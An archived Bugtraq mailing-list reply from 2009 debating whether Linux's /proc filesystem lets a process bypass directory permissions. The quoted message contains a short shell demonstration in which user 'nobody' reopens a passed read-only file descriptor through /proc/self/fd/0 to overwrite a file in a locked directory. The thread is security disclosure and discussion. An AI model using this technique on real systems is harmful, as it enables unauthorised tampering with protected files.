bugtraq - Re: /proc filesystem allows bypassing directory permissions on Linux

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Fri, 30 Oct 2009 18:57:15 +0100
From: Marco Verschuur <marco@....nl>
To: Jim Paris <jim@...n.com>
Cc: Pavel Machek <pavel@....cz>, Dan Yefimov <dan@...htwave.net.ru>,
	bugtraq@...urityfocus.com
Subject: Re: /proc filesystem allows bypassing directory permissions on Linux

Jim,

Sorry, but your 'prove' below is wrong!

You are opening the locked down file as root and passing that
fd as input to the nobody process.

So nobody is not opening /dir/file.txt (he can't because he hasn't
access to it via /dir) but root is...
Therefor the write to the fd is failing, because you're passing a
read-only file descriptor.

Try to replay your scenario in separate shells, without the use of
sudo and redirection.

Best regards,
	Marco


On 29 okt 2009, at 21:10, Jim Paris wrote:

>>> 0700 mode from the origin, you would be right, and procfs wouldn't  
>>> allow
>>> opening files in that directory too, but if you let others to  
>>> traverse
>>> that directory and open your believed to be secure files from the  
>>> origin,
>>> it's your fault.
>>
>> I can do the example with fd passing and 700 directory, but it would
>> be lot of C code. Feel free to play, my example was not nearly the
>> only way to demonstrate it, and no, it was not racy.
>
> Here is an example that shows the behavior where a passed read-only fd
> can become read-write by reopening it through /proc, when file
> permissions allow it (but directory permissions do not):
>
>  $ sudo su
>  # mkdir -m 0700 /dir
>  # echo "safe" > /dir/file.txt
>  # chmod 0666 /dir/file.txt
>  # ls -al /dir
>  total 12
>  drwx------  2 root root 4096 2009-10-29 00:28 .
>  drwxr-xr-x 27 root root 4096 2009-10-29 00:28 ..
>  -rw-rw-rw-  1 root root    7 2009-10-29 00:43 file.txt
>  # cat /dir/file.txt
>  safe
>
> Now user "nobody" cannot read or write this file:
>
>  # su nobody -c 'cat /dir/file.txt'
>  sh: /dir/file.txt: Permission denied
>  # su nobody -c 'echo "hacked" > /dir/file.txt'
>  sh: /dir/file.txt: Permission denied
>  # cat /dir/file.txt
>  safe
>
> If we provide an open read-only file descriptor (as stdin, fd 0), they
> can read it:
>
>  # su nobody -c 'cat <&0' < /dir/file.txt
>  safe
>
> But they still can't write to this descriptor:
>
>  # su nobody -c 'echo "hacked" >&0' < /dir/file.txt
>  sh: line 0: echo: write error: Bad file descriptor
>
> Unless we re-open the file using the magic link in /proc:
>
>  # su nobody -c 'echo "hacked" >/proc/self/fd/0' < /dir/file.txt
>  # cat /dir/file.txt
>  hacked
>
> Again, debatable whether this is a bug, but it's certainly
> non-obvious.  There is no other way (that I'm aware) for the "nobody"
> user to gain write access to /dir/file.txt, even when given a
> read-only fd, without using /proc.
>
> -jim